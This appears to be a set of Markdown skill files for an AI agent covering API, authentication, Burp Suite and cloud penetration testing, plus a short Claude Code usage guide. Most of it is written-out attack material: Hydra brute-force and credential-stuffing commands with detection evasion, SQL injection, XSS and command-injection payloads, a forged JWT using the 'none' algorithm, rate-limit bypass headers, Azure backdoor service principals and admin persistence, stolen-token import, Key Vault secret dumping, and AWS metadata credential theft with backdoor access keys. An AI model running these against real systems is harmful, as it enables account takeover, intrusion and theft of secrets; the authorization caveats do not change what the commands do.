| Misconfigured Caching | Sensitive data cached incorrectly |
| Exposed Tokens | API keys/tokens in responses or URLs |
| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
| IDOR / BOLA | Broken Object Level Authorization |
| Undocumented Endpoints | Hidden admin/debug endpoints |
| Different Versions | Security gaps in older API versions |
| Rate Limiting | Missing or bypassable rate limits |
| Race Conditions | TOCTOU vulnerabilities |
| XXE Injection | XML parser exploitation |
| Content Type Issues | Switching between JSON/XML |
| HTTP Method Tampering | GET→DELETE/PUT abuse |
---
## Quick Reference
| Vulnerability | Test Payload | Risk |
|---------------|--------------|------|
| IDOR | Change user_id parameter | High |
| SQLi | `' OR 1=1--` in JSON | Critical |
| Command Injection | `; ls /` | Critical |
| XXE | DOCTYPE with ENTITY | High |
| SSRF | Internal IP in params | High |
| Rate Limit Bypass | Batch requests | Medium |
| Method Tampering | GET→DELETE | High |
---
## Tools Reference
| Category | Tool | URL |
|----------|------|-----|
| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
| API Security | apicheck | github.com/BBVA/apicheck |
| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
| API Toolkit | APIKit | github.com/API-Security/APIKit |
| API Keys | API Guesser | api-guesser.netlify.app |
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
| GraphQL | InQL | github.com/doyensec/inql |
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
| GraphQL | batchql | github.com/assetnote/batchql |
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
| Wordlists | SecLists | github.com/danielmiessler/SecLists |
| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
---
## Constraints
**Must:**
- Test mobile, web, and developer APIs separately
- Check all API versions (/v1, /v2, /v3)
- Validate both authenticated and unauthenticated access
**Must Not:**
- Assume same security controls across API versions
- Skip testing undocumented endpoints
- Ignore rate limiting checks
**Should:**
- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
- Check archive.org for historical API endpoints
- Test for race conditions on sensitive operations
---
## Examples
### Example 1: IDOR Exploitation
```bash
# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
# Response reveals other user's invoice data
```
### Example 2: GraphQL Introspection
```bash
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
```
---
## Troubleshooting
| Issue | Solution |
|-------|----------|
| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
| 401 on all endpoints | Try adding `?user_id=1` parameter |
| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
| Rate limited | Use IP rotation or batch requests |
| Can't find endpoints | Check Swagger, archive.org, JS files |

View File

@@ -0,0 +1,473 @@
---
name: Broken Authentication Testing
description: This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
---
# Broken Authentication Testing
## Purpose
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
## Prerequisites
### Required Knowledge
- HTTP protocol and session mechanisms
- Authentication types (SFA, 2FA, MFA)
- Cookie and token handling
- Common authentication frameworks
### Required Tools
- Burp Suite Professional or Community
- Hydra or similar brute-force tools
- Custom wordlists for credential testing
- Browser developer tools
### Required Access
- Target application URL
- Test account credentials
- Written authorization for testing
## Outputs and Deliverables
1. **Authentication Assessment Report** - Document all identified vulnerabilities
2. **Credential Testing Results** - Brute-force and dictionary attack outcomes
3. **Session Security Analysis** - Token randomness and timeout evaluation
4. **Remediation Recommendations** - Security hardening guidance
## Core Workflow
### Phase 1: Authentication Mechanism Analysis
Understand the application's authentication architecture:
```
# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)
# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*
```
Capture and analyze authentication requests:
```http
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test123
```
### Phase 2: Password Policy Testing
Evaluate password requirements and enforcement:
```bash
# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)
```
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
### Phase 3: Credential Enumeration
Test for username enumeration vulnerabilities:
```bash
# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages
```
# Password reset
"Email sent if account exists" (secure)
"No account with that email" (leaks info)
# API responses
{"error": "user_not_found"}
{"error": "invalid_password"}
```
### Phase 4: Brute Force Testing
Test account lockout and rate limiting:
```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes
```
Check for protections:
```bash
# Account lockout
- After how many attempts?
- Duration of lockout?
- Lockout notification?
# Rate limiting
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?
# CAPTCHA
- After failed attempts?
- Easily bypassable?
```
### Phase 5: Credential Stuffing
Test with known breached credentials:
```bash
# Credential stuffing differs from brute force
# Uses known email:password pairs from breaches
# Using Burp Intruder with Pitchfork attack
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins
# Detection evasion
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attempts
```
### Phase 6: Session Management Testing
Analyze session token security:
```bash
# Capture session cookie
Cookie: SESSIONID=abc123def456
# Test token characteristics
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?
```
Session token analysis:
```python
#!/usr/bin/env python3
import requests
import hashlib
# Collect multiple session tokens
tokens = []
for i in range(100):
response = requests.get("https://target.com/login")
token = response.cookies.get("SESSIONID")
tokens.append(token)
# Analyze for patterns
# Check for sequential increments
# Calculate entropy
# Look for timestamp components
```
### Phase 7: Session Fixation Testing
Test if session is regenerated after authentication:
```bash
# Step 1: Get session before login
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123
# Step 2: Login with same session
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid
# Step 3: Check if session changed
# VULNERABLE if SESSIONID remains abc123
# SECURE if new session assigned after login
```
Attack scenario:
```bash
# Attacker workflow:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
https://target.com/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated session
```
### Phase 8: Session Timeout Testing
Verify session expiration policies:
```bash
# Test idle timeout
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid
# Test absolute timeout
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)
# Test logout functionality
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-side
```
### Phase 9: Multi-Factor Authentication Testing
Assess MFA implementation security:
```bash
# OTP brute force
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint
# OTP bypass techniques
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse
# API Version Downgrade Attack (crAPI example)
# If /api/v3/check-otp has rate limiting, try older versions:
POST /api/v2/check-otp
{"otp": "1234"}
# Older API versions may lack security controls
# Using Burp for OTP testing
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypass
```
Test MFA enrollment:
```bash
# Forced enrollment
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?
# Recovery process
- Can MFA be disabled via email alone?
- Social engineering potential?
```
### Phase 10: Password Reset Testing
Analyze password reset security:
```bash
# Token security
1. Request password reset
2. Capture reset link
3. Analyze token:
- Length and randomness
- Expiration time
- Single-use enforcement
- Account binding
# Token manipulation
https://target.com/reset?token=abc123&user=victim
# Try changing user parameter while using valid token
# Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
email=victim@email.com
# Reset email may contain attacker's domain
```
## Quick Reference
### Common Vulnerability Types
| Vulnerability | Risk | Test Method |
|--------------|------|-------------|
| Weak passwords | High | Policy testing, dictionary attack |
| No lockout | High | Brute force testing |
| Username enumeration | Medium | Differential response analysis |
| Session fixation | High | Pre/post-login session comparison |
| Weak session tokens | High | Entropy analysis |
| No session timeout | Medium | Long-duration session testing |
| Insecure password reset | High | Token analysis, workflow bypass |
| MFA bypass | Critical | Direct access, response manipulation |
### Credential Testing Payloads
```bash
# Default credentials
admin:admin
admin:password
admin:123456
root:root
test:test
user:user
# Common passwords
123456
password
12345678
qwerty
abc123
password1
admin123
# Breached credential databases
- Have I Been Pwned dataset
- SecLists passwords
- Custom targeted lists
```
### Session Cookie Flags
| Flag | Purpose | Vulnerability if Missing |
|------|---------|------------------------|
| HttpOnly | Prevent JS access | XSS can steal session |
| Secure | HTTPS only | Sent over HTTP |
| SameSite | CSRF protection | Cross-site requests allowed |
| Path | URL scope | Broader exposure |
| Domain | Domain scope | Subdomain access |
| Expires | Lifetime | Persistent sessions |
### Rate Limiting Bypass Headers
```http
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
```
## Constraints and Limitations
### Legal Requirements
- Only test with explicit written authorization
- Avoid testing with real breached credentials
- Do not access actual user accounts
- Document all testing activities
### Technical Limitations
- CAPTCHA may prevent automated testing
- Rate limiting affects brute force timing
- MFA significantly increases attack difficulty
- Some vulnerabilities require victim interaction
### Scope Considerations
- Test accounts may behave differently than production
- Some features may be disabled in test environments
- Third-party authentication may be out of scope
- Production testing requires extra caution
## Examples
### Example 1: Account Lockout Bypass
**Scenario:** Test if account lockout can be bypassed
```bash
# Step 1: Identify lockout threshold
# Try 5 wrong passwords for admin account
# Result: "Account locked for 30 minutes"
# Step 2: Test bypass via IP rotation
# Use X-Forwarded-For header
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1
# Increment IP for each attempt
X-Forwarded-For: 192.168.1.2
# Continue until successful or confirmed blocked
# Step 3: Test bypass via case manipulation
username=Admin (vs admin)
username=ADMIN
# Some systems treat these as different accounts
```
### Example 2: JWT Token Attack
**Scenario:** Exploit weak JWT implementation
```bash
# Step 1: Capture JWT token
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
# Step 2: Decode and analyze
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"user":"test","role":"user"}
# Step 3: Try "none" algorithm attack
# Change header to: {"alg":"none","typ":"JWT"}
# Remove signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
# Step 4: Submit modified token
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
```
### Example 3: Password Reset Token Exploitation
**Scenario:** Test password reset functionality
```bash
# Step 1: Request reset for test account
POST /forgot-password
email=test@example.com
# Step 2: Capture reset link
https://target.com/reset?token=a1b2c3d4e5f6
# Step 3: Test token properties
# Reuse: Try using same token twice
# Expiration: Wait 24+ hours and retry
# Modification: Change characters in token
# Step 4: Test for user parameter manipulation
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
# Check if admin's password can be reset with test user's token
```
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |

View File

@@ -0,0 +1,377 @@
---
name: Burp Suite Web Application Testing
description: This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.
---
# Burp Suite Web Application Testing
## Purpose
Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.
## Inputs / Prerequisites
### Required Tools
- Burp Suite Community or Professional Edition installed
- Burp's embedded browser or configured external browser
- Target web application URL
- Valid credentials for authenticated testing (if applicable)
### Environment Setup
- Burp Suite launched with temporary or named project
- Proxy listener active on 127.0.0.1:8080 (default)
- Browser configured to use Burp proxy (or use Burp's browser)
- CA certificate installed for HTTPS interception
### Editions Comparison
| Feature | Community | Professional |
|---------|-----------|--------------|
| Proxy | ✓ | ✓ |
| Repeater | ✓ | ✓ |
| Intruder | Limited | Full |
| Scanner | ✗ | ✓ |
| Extensions | ✓ | ✓ |
## Outputs / Deliverables
### Primary Outputs
- Intercepted and modified HTTP requests/responses
- Vulnerability scan reports with remediation advice
- HTTP history and site map documentation
- Proof-of-concept exploits for identified vulnerabilities
## Core Workflow
### Phase 1: Intercepting HTTP Traffic
#### Launch Burp's Browser
Navigate to integrated browser for seamless proxy integration:
1. Open Burp Suite and create/open project
2. Go to **Proxy > Intercept** tab
3. Click **Open Browser** to launch preconfigured browser
4. Position windows to view both Burp and browser simultaneously
#### Configure Interception
Control which requests are captured:
```
Proxy > Intercept > Intercept is on/off toggle
When ON: Requests pause for review/modification
When OFF: Requests pass through, logged to history
```
#### Intercept and Forward Requests
Process intercepted traffic:
1. Set intercept toggle to **Intercept on**
2. Navigate to target URL in browser
3. Observe request held in Proxy > Intercept tab
4. Review request contents (headers, parameters, body)
5. Click **Forward** to send request to server
6. Continue forwarding subsequent requests until page loads
#### View HTTP History
Access complete traffic log:
1. Go to **Proxy > HTTP history** tab
2. Click any entry to view full request/response
3. Sort by clicking column headers (# for chronological order)
4. Use filters to focus on relevant traffic
### Phase 2: Modifying Requests
#### Intercept and Modify
Change request parameters before forwarding:
1. Enable interception: **Intercept on**
2. Trigger target request in browser
3. Locate parameter to modify in intercepted request
4. Edit value directly in request editor
5. Click **Forward** to send modified request
#### Common Modification Targets
| Target | Example | Purpose |
|--------|---------|---------|
| Price parameters | `price=1` | Test business logic |
| User IDs | `userId=admin` | Test access control |
| Quantity values | `qty=-1` | Test input validation |
| Hidden fields | `isAdmin=true` | Test privilege escalation |
#### Example: Price Manipulation
```http
POST /cart HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
productId=1&quantity=1&price=100
# Modify to:
productId=1&quantity=1&price=1
```
Result: Item added to cart at modified price.
### Phase 3: Setting Target Scope
#### Define Scope
Focus testing on specific target:
1. Go to **Target > Site map**
2. Right-click target host in left panel
3. Select **Add to scope**
4. When prompted, click **Yes** to exclude out-of-scope traffic
#### Filter by Scope
Remove noise from HTTP history:
1. Click display filter above HTTP history
2. Select **Show only in-scope items**
3. History now shows only target site traffic
#### Scope Benefits
- Reduces clutter from third-party requests
- Prevents accidental testing of out-of-scope sites
- Improves scanning efficiency
- Creates cleaner reports
### Phase 4: Using Burp Repeater
#### Send Request to Repeater
Prepare request for manual testing:
1. Identify interesting request in HTTP history
2. Right-click request and select **Send to Repeater**
3. Go to **Repeater** tab to access request
#### Modify and Resend
Test different inputs efficiently:
```
1. View request in Repeater tab
2. Modify parameter values
3. Click Send to submit request
4. Review response in right panel
5. Use navigation arrows to review request history
```
#### Repeater Testing Workflow
```
Original Request:
GET /product?productId=1 HTTP/1.1
Test 1: productId=2 → Valid product response
Test 2: productId=999 → Not Found response
Test 3: productId=' → Error/exception response
Test 4: productId=1 OR 1=1 → SQL injection test
```
#### Analyze Responses
Look for indicators of vulnerabilities:
- Error messages revealing stack traces
- Framework/version information disclosure
- Different response lengths indicating logic flaws
- Timing differences suggesting blind injection
- Unexpected data in responses
### Phase 5: Running Automated Scans
#### Launch New Scan
Initiate vulnerability scanning (Professional only):
1. Go to **Dashboard** tab
2. Click **New scan**
3. Enter target URL in **URLs to scan** field
4. Configure scan settings
#### Scan Configuration Options
| Mode | Description | Duration |
|------|-------------|----------|
| Lightweight | High-level overview | ~15 minutes |
| Fast | Quick vulnerability check | ~30 minutes |
| Balanced | Standard comprehensive scan | ~1-2 hours |
| Deep | Thorough testing | Several hours |
#### Monitor Scan Progress
Track scanning activity:
1. View task status in **Dashboard**
2. Watch **Target > Site map** update in real-time
3. Check **Issues** tab for discovered vulnerabilities
#### Review Identified Issues
Analyze scan findings:
1. Select scan task in Dashboard
2. Go to **Issues** tab
3. Click issue to view:
- **Advisory**: Description and remediation
- **Request**: Triggering HTTP request
- **Response**: Server response showing vulnerability
### Phase 6: Intruder Attacks
#### Configure Intruder
Set up automated attack:
1. Send request to Intruder (right-click > Send to Intruder)
2. Go to **Intruder** tab
3. Define payload positions using § markers
4. Select attack type
#### Attack Types
| Type | Description | Use Case |
|------|-------------|----------|
| Sniper | Single position, iterate payloads | Fuzzing one parameter |
| Battering ram | Same payload all positions | Credential testing |
| Pitchfork | Parallel payload iteration | Username:password pairs |
| Cluster bomb | All payload combinations | Full brute force |
#### Configure Payloads
```
Positions Tab:
POST /login HTTP/1.1
...
username=§admin§&password=§password§
Payloads Tab:
Set 1: admin, user, test, guest
Set 2: password, 123456, admin, letmein
```
#### Analyze Results
Review attack output:
- Sort by response length to find anomalies
- Filter by status code for successful attempts
- Use grep to search for specific strings
- Export results for documentation
## Quick Reference
### Keyboard Shortcuts
| Action | Windows/Linux | macOS |
|--------|---------------|-------|
| Forward request | Ctrl+F | Cmd+F |
| Drop request | Ctrl+D | Cmd+D |
| Send to Repeater | Ctrl+R | Cmd+R |
| Send to Intruder | Ctrl+I | Cmd+I |
| Toggle intercept | Ctrl+T | Cmd+T |
### Common Testing Payloads
```
# SQL Injection
' OR '1'='1
' OR '1'='1'--
1 UNION SELECT NULL--
# XSS
<script>alert(1)</script>
"><img src=x onerror=alert(1)>
javascript:alert(1)
# Path Traversal
../../../etc/passwd
..\..\..\..\windows\win.ini
# Command Injection
; ls -la
| cat /etc/passwd
`whoami`
```
### Request Modification Tips
- Right-click for context menu options
- Use decoder for encoding/decoding
- Compare requests using Comparer tool
- Save interesting requests to project
## Constraints and Guardrails
### Operational Boundaries
- Test only authorized applications
- Configure scope to prevent accidental out-of-scope testing
- Rate-limit scans to avoid denial of service
- Document all findings and actions
### Technical Limitations
- Community Edition lacks automated scanner
- Some sites may block proxy traffic
- HSTS/certificate pinning may require additional configuration
- Heavy scanning may trigger WAF blocks
### Best Practices
- Always set target scope before extensive testing
- Use Burp's browser for reliable interception
- Save project regularly to preserve work
- Review scan results manually for false positives
## Examples
### Example 1: Business Logic Testing
**Scenario**: E-commerce price manipulation
1. Add item to cart normally, intercept request
2. Identify `price=9999` parameter in POST body
3. Modify to `price=1`
4. Forward request
5. Complete checkout at manipulated price
**Finding**: Server trusts client-provided price values.
### Example 2: Authentication Bypass
**Scenario**: Testing login form
1. Submit valid credentials, capture request in Repeater
2. Send to Repeater for testing
3. Try: `username=admin' OR '1'='1'--`
4. Observe successful login response
**Finding**: SQL injection in authentication.
### Example 3: Information Disclosure
**Scenario**: Error-based information gathering
1. Navigate to product page, observe `productId` parameter
2. Send request to Repeater
3. Change `productId=1` to `productId=test`
4. Observe verbose error revealing framework version
**Finding**: Apache Struts 2.5.12 disclosed in stack trace.
## Troubleshooting
### Browser Not Connecting Through Proxy
- Verify proxy listener is active (Proxy > Options)
- Check browser proxy settings point to 127.0.0.1:8080
- Ensure no firewall blocking local connections
- Use Burp's embedded browser for reliable setup
### HTTPS Interception Failing
- Install Burp CA certificate in browser/system
- Navigate to http://burp to download certificate
- Add certificate to trusted roots
- Restart browser after installation
### Slow Performance
- Limit scope to reduce processing
- Disable unnecessary extensions
- Increase Java heap size in startup options
- Close unused Burp tabs and features
### Requests Not Being Intercepted
- Verify "Intercept on" is enabled
- Check intercept rules aren't filtering target
- Ensure browser is using Burp proxy
- Verify target isn't using unsupported protocol

View File

@@ -0,0 +1,68 @@
---
name: Claude Code Guide
description: Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies "Thinking" keywords, debugging techniques, and best practices for interacting with the agent.
---
# Claude Code Guide
## Purpose
To provide a comprehensive reference for configuring and using Claude Code (the agentic coding tool) to its full potential. This skill synthesizes best practices, configuration templates, and advanced usage patterns.
## Configuration (`CLAUDE.md`)
When starting a new project, create a `CLAUDE.md` file in the root directory to guide the agent.
### Template (General)
```markdown
# Project Guidelines
## Commands
- Run app: `npm run dev`
- Test: `npm test`
- Build: `npm run build`
## Code Style
- Use TypeScript for all new code.
- Functional components with Hooks for React.
- Tailwind CSS for styling.
- Early returns for error handling.
## Workflow
- Read `README.md` first to understand project context.
- Before editing, read the file content.
- After editing, run tests to verify.
```
## Advanced Features
### Thinking Keywords
Use these keywords in your prompts to trigger deeper reasoning from the agent:
- "Think step-by-step"
- "Analyze the root cause"
- "Plan before executing"
- "Verify your assumptions"
### Debugging
If the agent is stuck or behaving unexpectedly:
1. **Clear Context**: Start a new session or ask the agent to "forget previous instructions" if confused.
2. **Explicit Instructions**: Be extremely specific about paths, filenames, and desired outcomes.
3. **Logs**: Ask the agent to "check the logs" or "run the command with verbose output".
## Best Practices
1. **Small Contexts**: Don't dump the entire codebase into the context. Use `grep` or `find` to locate relevant files first.
2. **Iterative Development**: Ask for small changes, verify, then proceed.
3. **Feedback Loop**: If the agent makes a mistake, correct it immediately and ask it to "add a lesson" to its memory (if supported) or `CLAUDE.md`.
## Reference
Based on [Claude Code Guide by zebbern](https://github.com/zebbern/claude-code-guide).

View File

@@ -0,0 +1,498 @@
---
name: Cloud Penetration Testing
description: This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
---
# Cloud Penetration Testing
## Purpose
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
## Prerequisites
### Required Tools
```bash
# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force
# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install
# GCP CLI
curl https://sdk.cloud.google.com | bash
gcloud init
# Additional tools
pip install scoutsuite pacu
```
### Required Knowledge
- Cloud architecture fundamentals
- Identity and Access Management (IAM)
- API authentication mechanisms
- DevOps and automation concepts
### Required Access
- Written authorization for testing
- Test credentials or access tokens
- Defined scope and rules of engagement
## Outputs and Deliverables
1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings
2. **Resource Inventory** - Enumerated services, storage, and compute instances
3. **Credential Findings** - Exposed secrets, keys, and misconfigurations
4. **Remediation Recommendations** - Hardening guidance per platform
## Core Workflow
### Phase 1: Reconnaissance
Gather initial information about target cloud presence:
```bash
# Azure: Get federation info
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany
# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py
```
### Phase 2: Azure Authentication
Authenticate to Azure environments:
```powershell
# Az PowerShell Module
Import-Module Az
Connect-AzAccount
# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential
# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'
# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json
# MSOnline Module
Import-Module MSOnline
Connect-MsolService
```
### Phase 3: Azure Enumeration
Discover Azure resources and permissions:
```powershell
# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription
# Current user role assignments
Get-AzRoleAssignment
# List resources
Get-AzResource
Get-AzResourceGroup
# Storage accounts
Get-AzStorageAccount
# Web applications
Get-AzWebApp
# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile
# List all users
Get-MSolUser -All
# List all groups
Get-MSolGroup -All
# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID
# Service Principals
Get-MsolServicePrincipal
```
### Phase 4: Azure Exploitation
Exploit Azure misconfigurations:
```powershell
# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
$props = @()
$user | Get-Member | foreach-object{$props+=$_.Name}
foreach($prop in $props){
if($user.$prop -like "*password*"){
Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
}
}
}
# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
# Extract VM UserData
$vms = Get-AzVM
$vms.UserData
# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>
```
### Phase 5: Azure Persistence
Establish persistence in Azure:
```powershell
# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
# Login as service principal
$cred = Get-Credential # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
```
### Phase 6: AWS Authentication
Authenticate to AWS environments:
```bash
# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format
# Use specific profile
aws configure --profile target
# Test credentials
aws sts get-caller-identity
```
### Phase 7: AWS Enumeration
Discover AWS resources:
```bash
# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles
# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir
# EC2 Instances
aws ec2 describe-instances
# RDS Databases
aws rds describe-db-instances --region us-east-1
# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>
# EKS Clusters
aws eks list-clusters --region us-east-1
# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections
```
### Phase 8: AWS Exploitation
Exploit AWS misconfigurations:
```bash
# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible
# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'
# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
```
### Phase 9: AWS Persistence
Establish persistence in AWS:
```bash
# List existing access keys
aws iam list-access-keys --user-name <username>
# Create backdoor access key
aws iam create-access-key --user-name <username>
# Get all EC2 public IPs
for region in $(cat regions.txt); do
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done
```
